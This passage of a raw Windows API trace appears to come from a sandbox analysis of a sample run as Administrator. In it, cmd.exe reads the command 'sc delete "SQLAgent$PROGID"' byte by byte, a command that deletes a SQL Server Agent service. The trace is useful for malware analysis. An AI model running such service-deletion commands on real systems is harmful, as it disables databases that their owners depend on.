(lpName="COPYCMD", lpValue=0x0) returned 1 [0066.382] GetProcessHeap () returned 0x1b0000 [0066.382] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0066.382] GetEnvironmentStringsW () returned 0x1d1b10* [0066.383] GetProcessHeap () returned 0x1b0000 [0066.383] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba70 [0066.383] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.383] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0066.383] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd9000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0066.383] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0066.425] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0066.425] CloseHandle (hObject=0x54) returned 1 [0066.425] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0066.425] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0066.425] GetProcessHeap () returned 0x1b0000 [0066.425] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba70 | out: hHeap=0x1b0000) returned 1 [0066.425] GetEnvironmentStringsW () returned 0x1d1b10* [0066.425] GetProcessHeap () returned 0x1b0000 [0066.425] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba70 [0066.425] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.425] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0066.425] GetProcessHeap () returned 0x1b0000 [0066.425] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba70 | out: hHeap=0x1b0000) returned 1 [0066.425] GetEnvironmentStringsW () returned 0x1d1b10* [0066.425] GetProcessHeap () returned 0x1b0000 [0066.425] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba70 [0066.425] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.425] GetProcessHeap () returned 0x1b0000 [0066.425] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0066.426] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0066.426] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0066.427] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.427] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0066.427] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.427] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0066.427] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.427] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0066.427] GetConsoleOutputCP () returned 0x1b5 [0066.427] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.427] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.428] GetProcessHeap () returned 0x1b0000 [0066.428] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0066.428] GetProcessHeap () returned 0x1b0000 [0066.428] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0066.428] GetProcessHeap () returned 0x1b0000 [0066.428] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0066.428] GetProcessHeap () returned 0x1b0000 [0066.428] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0066.428] GetProcessHeap () returned 0x1b0000 [0066.428] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0066.428] GetProcessHeap () returned 0x1b0000 [0066.428] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0066.428] GetProcessHeap () returned 0x1b0000 [0066.428] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0066.428] GetProcessHeap () returned 0x1b0000 [0066.428] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0066.428] GetProcessHeap () returned 0x1b0000 [0066.428] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0066.428] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0066.428] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.428] GetFileType (hFile=0x120) returned 0x3 [0066.428] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.429] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0066.429] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0066.429] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.429] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0066.429] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0066.429] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.429] GetFileType (hFile=0x120) returned 0x3 [0066.429] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.429] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0066.429] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0066.429] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.429] GetFileType (hFile=0xb8) returned 0x3 [0066.429] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.429] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.429] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.429] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0066.430] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.430] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.430] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.430] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0066.430] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.430] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.430] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.430] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0066.430] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.430] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.430] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.430] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0066.430] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.430] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.430] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.430] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0066.430] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.430] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.430] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.431] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0066.431] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.431] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.431] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.431] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0066.431] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.431] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.431] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.431] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0066.431] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.431] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.431] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.431] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0066.431] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.431] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.431] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.431] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0066.431] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.431] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.431] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.432] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="\"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0066.432] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.432] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.432] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.432] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0066.432] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.432] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.432] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.432] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="QLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0066.432] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.432] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.432] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.432] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="LAgent$PROGID\"\nER\"\n\n\n") returned 1 [0066.432] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.432] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.432] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.432] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="Agent$PROGID\"\nER\"\n\n\n") returned 1 [0066.432] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.432] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.433] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="gent$PROGID\"\nER\"\n\n\n") returned 1 [0066.433] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.433] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.433] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="ent$PROGID\"\nER\"\n\n\n") returned 1 [0066.433] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.433] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.433] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="nt$PROGID\"\nER\"\n\n\n") returned 1 [0066.433] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.433] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.433] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="t$PROGID\"\nER\"\n\n\n") returned 1 [0066.433] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.433] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.433] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="$PROGID\"\nER\"\n\n\n") returned 1 [0066.434] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.434] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.434] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="WROGID\"\nER\"\n\n\n") returned 1 [0066.434] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.434] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.434] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="OOGID\"\nER\"\n\n\n") returned 1 [0066.434] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.434] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.434] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="LGID\"\nER\"\n\n\n") returned 1 [0066.434] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.434] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.434] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="TID\"\nER\"\n\n\n") returned 1 [0066.434] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.434] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.434] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="ED\"\nER\"\n\n\n") returned 1 [0066.435] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.435] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.435] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="R\"\nER\"\n\n\n") returned 1 [0066.435] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.435] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.435] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, 